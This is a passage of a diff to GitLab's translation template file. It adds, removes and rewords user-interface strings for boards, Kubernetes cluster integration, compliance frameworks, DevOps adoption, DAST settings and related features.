msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
